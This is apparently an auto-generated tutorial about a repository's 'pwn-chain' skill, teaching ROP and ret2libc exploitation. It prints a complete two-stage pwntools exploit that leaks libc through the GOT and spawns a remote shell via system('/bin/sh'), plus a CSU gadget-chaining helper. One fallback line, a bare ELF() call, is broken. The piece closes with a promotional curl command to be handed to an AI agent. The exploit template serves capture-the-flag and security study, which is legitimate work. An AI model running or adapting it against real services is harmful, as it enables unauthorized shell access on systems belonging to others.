How to Develop Exploits with the pwn-chain Module Using ROP and ret2libc

The pwn-chain module in zhaoxuya520/reverse-skill provides a six-step workflow to build ROP chains and ret2libc exploits using pwntools, ROPgadget, and libc-database, producing stable payloads with ≥95% success rates against remote targets.

The zhaoxuya520/reverse-skill repository bridges reverse engineering analysis to working exploitation through its dedicated pwn-chain pipeline. This skill module, defined in skills/pwn-chain/SKILL.md, standardizes the development of Return-Oriented Programming (ROP) and ret2libc attacks against binaries with modern protections. By following its structured workflow and reference templates, you can develop exploits that bypass NX (non-executable stack) defenses without injecting traditional shellcode.

Understanding the pwn-chain Architecture

According to docs/ARCHITECTURE.md and skills/pwn-chain/SKILL.md, the pwn-chain skill serves as the repository’s dedicated pipeline that transforms reverse-engineering findings into fully working exploits. The architecture accepts a binary and identified vulnerability point—such as a stack overflow—as input, processes it through a standardized toolchain, and outputs a stable payload verified against remote targets.

The core toolchain documented in SKILL.md includes:

  • pwntools for exploit scripting and ELF manipulation
  • GEF/pwndbg for debugging and memory inspection
  • ROPgadget or ROpper for discovering reusable instruction sequences
  • one_gadget for finding single-call shell execution points
  • libc-database for resolving libc versions from leaked addresses

The workflow mandates a six-step process covering protection enumeration, strategy selection, gadget preparation, template generation, local verification, and remote stabilization.

Why ROP and ret2libc for Modern Binaries

When binaries are compiled with NX (non-executable stack) enabled but provide access to libc or leak libc addresses, classic shellcode injection becomes impossible. The pwn-chain module addresses this by implementing Return-Oriented Programming (ROP), which reuses existing instruction sequences (gadgets) to call system("/bin/sh") or equivalent functions.

Ret2libc specifically redirects execution to libc functions already present in memory rather than injecting new code. This technique is selected automatically by the workflow when NX is active and libc symbols are available, as noted in lines 52-57 of skills/pwn-chain/SKILL.md.

The Six-Step Exploit Development Workflow

The pwn-chain skill enforces a rigorous workflow to ensure exploit reliability:

  1. Protection Enumeration – Analyze NX, PIE, canary, and RELRO using checksec or ELF introspection (SKILL.md lines 47-50)
  2. Strategy Decision – Select ret2libc when NX is enabled and libc is available; otherwise choose pure shellcode or kernel-ROP paths
  3. Prepare libc & Gadgets – Resolve libc versions via leakage and locate pop rdi; ret and alignment gadgets
  4. Write pwntools Template – Assemble the payload using the reference templates in references/stack-pwn.md
  5. Verify Locally – Test against local binary instances with debugging enabled
  6. Stabilize Remotely – Iterate until achieving ≥95% success rate in repeated runs against the remote target (SKILL.md lines 71-83)

Practical Implementation of ret2libc Exploits

Enumerating Protections and Selecting Strategy

Begin by identifying binary protections to confirm ret2libc viability. As implemented in the pwn-chain module, use checksec or pwntools' ELF class to record defense mechanisms. If NX is active and you can leak or know a libc address, proceed with the ret2libc strategy documented in lines 52-57 of SKILL.md.

Discovering Gadgets and Resolving Libc

Gadget discovery relies on ROPgadget --binary ./vuln --only "pop|ret" or ropper to locate critical sequences such as pop rdi; ret and simple ret instructions for stack alignment. According to references/stack-pwn.md (lines 38-46), the ret gadget is critical for maintaining 16-byte stack alignment before calling system.

To resolve libc addresses:

  • Leak a known symbol such as puts@got or printf@got
  • Calculate the libc base: libc_base = leaked_address - libc.sym['puts']
  • Verify the exact libc version using libc-database (Stack-pwn, lines 8-21)

Constructing the ret2libc Payload

The payload construction follows the two-stage template from references/stack-pwn.md (lines 22-30 and 55-119). First, leak the libc address and return to main. Second, build the ROP chain to call system("/bin/sh") with proper stack alignment.

#!/usr/bin/env python3
from pwn import *

# Configuration

exe = './vuln'
libc_path = './libc.so.6'
HOST, PORT = 'challenge.example.com', 31337

context.binary = elf = ELF(exe)
libc = ELF(libc_path) if libc_path else None
context.log_level = 'info'

def conn():
    if args.REMOTE:
        return remote(HOST, PORT)
    if args.GDB:
        return gdb.debug(exe, gdbscript='b *main+123\ncontinue')
    return process(exe)

# Stage 1 – Leak libc and compute base

p = conn()
OFFSET = 0x48  # Determined via cyclic pattern

pop_rdi = 0x401383  # `pop rdi ; ret`

ret_gadget = 0x40101a  # Stack alignment

payload = b'A' * OFFSET
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])

p.sendlineafter(b'> ', payload)
p.recvuntil(b'bye\n')
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'Leaked puts @ {hex(leak)}')

if not libc:
    libc = ELF()
    libc.address = leak - libc.sym['puts']
    log.success(f'libc base = {hex(libc.address)}')

# Stage 2 – ret2libc system("/bin/sh")

binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

payload = b'A' * OFFSET
payload += p64(ret_gadget)  # 16-byte alignment

payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.sendlineafter(b'> ', payload)
p.interactive()

Key implementation details from the source analysis:

  • OFFSET must be determined precisely using cyclic patterns (Stack-pwn, lines 26-44)
  • ret_gadget ensures 16-byte stack alignment required by modern system calls
  • Remote stability is achieved using sendlineafter rather than blind sendline followed by sleep (Stack-pwn, lines 62-68)

Advanced ROP Techniques

CSU Gadget Chaining for Missing Instructions

When binaries lack a pop rdx; ret gadget—common in stripped executables—the pwn-chain references demonstrate repurposing the __libc_csu_init sequence. As detailed in references/stack-pwn.md (lines 32-53), the CSU gadget allows controlled values for rdi, rsi, and rdx through a sequence of pop instructions followed by an indirect call.

csu_pop = 0x40119a   # pop rbx..r15; ret

csu_call = 0x401180  # mov rdx,r15; ...; call [r12+rbx*8]

def csu(rdi, rsi, rdx, target):
    payload = p64(csu_pop)
    payload += p64(0)          # rbx = 0

    payload += p64(1)          # rbp = 1

    payload += p64(target)     # r12 -> function pointer

    payload += p64(rdi)        # r13 -> rdi

    payload += p64(rsi)        # r14 -> rsi

    payload += p64(rdx)        # r15 -> rdx

    payload += p64(csu_call)
    payload += b'\x00' * 56    # Cleanup after call

    return payload

One-Gadget Exploitation

For scenarios requiring minimal ROP chain complexity, the pwn-chain module supports one_gadget. This tool identifies pre-computed offsets within libc that execute execve("/bin/sh", NULL, NULL) when certain register constraints are satisfied. Refer to references/stack-pwn.md (lines 75-95) for integration patterns using one_gadget alongside pwntools.

Ensuring Remote Stability and Safety Checks

Before marking an exploit complete, SKILL.md (lines 87-93) mandates a safety checklist ensuring tool availability, local verification, and remote stability. The pwn-chain skill requires a ≥95% success rate across repeated remote executions to account for network latency, ASLR randomization, and timing variations.

Critical stability practices from references/stack-pwn.md include:

  • Using sendlineafter with unique delimiters to synchronize with program output
  • Avoiding hardcoded sleep calls that create race conditions
  • Verifying libc offsets against the libc-database before remote deployment

Summary

  • The pwn-chain module in zhaoxuya520/reverse-skill provides a structured pipeline from vulnerability identification to stable remote exploitation via skills/pwn-chain/SKILL.md
  • Ret2libc exploits bypass NX protections by reusing libc functions rather than injecting shellcode, selected when NX is enabled and libc addresses are available
  • The six-step workflow covers protection enumeration, strategy selection, gadget discovery, payload construction, local verification, and remote stabilization
  • Gadget discovery uses ROPgadget or ropper to locate pop rdi; ret and alignment gadgets, with CSU initialization sequences serving as fallbacks for missing rdx controls
  • Stack alignment requires a ret gadget before system calls to maintain 16-byte alignment on modern x64 systems
  • Stability standards require ≥95% success rates against remote targets, achieved through synchronous I/O patterns and libc version verification

Frequently Asked Questions

What is the pwn-chain module in reverse-skill?

The pwn-chain module is the exploitation skill pipeline defined in skills/pwn-chain/SKILL.md within the zhaoxuya520/reverse-skill repository. It bridges reverse-engineering findings to working exploits by providing standardized workflows, toolchains including pwntools and ROPgadget, and reference templates for stack, heap, and kernel exploitation.

When should I use ret2libc instead of shellcode injection?

Use ret2libc when the target binary has NX (non-executable stack) protection enabled, preventing direct execution of injected shellcode. This technique requires access to libc (either provided or leaked) and constructs a ROP chain to call existing libc functions like system(). If NX is disabled, traditional shellcode injection may be simpler and more direct.

How do I handle missing gadgets like pop rdx in ROP chains?

When pop rdx; ret is unavailable, the pwn-chain module recommends using the CSU gadget from __libc_csu_init. As documented in references/stack-pwn.md, this sequence allows controlled values for rdx, rsi, and rdi through a series of pop instructions followed by an indirect call mechanism, bypassing the need for direct gadget availability.

What tools are required to follow the pwn-chain workflow?

The workflow requires pwntools for exploit scripting, ROPgadget or ROpper for gadget discovery, one_gadget for single-offset shell execution, libc-database for version resolution, and GEF or pwndbg for debugging. These tools are integrated through the six-step process described in skills/pwn-chain/SKILL.md to produce stable exploits.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →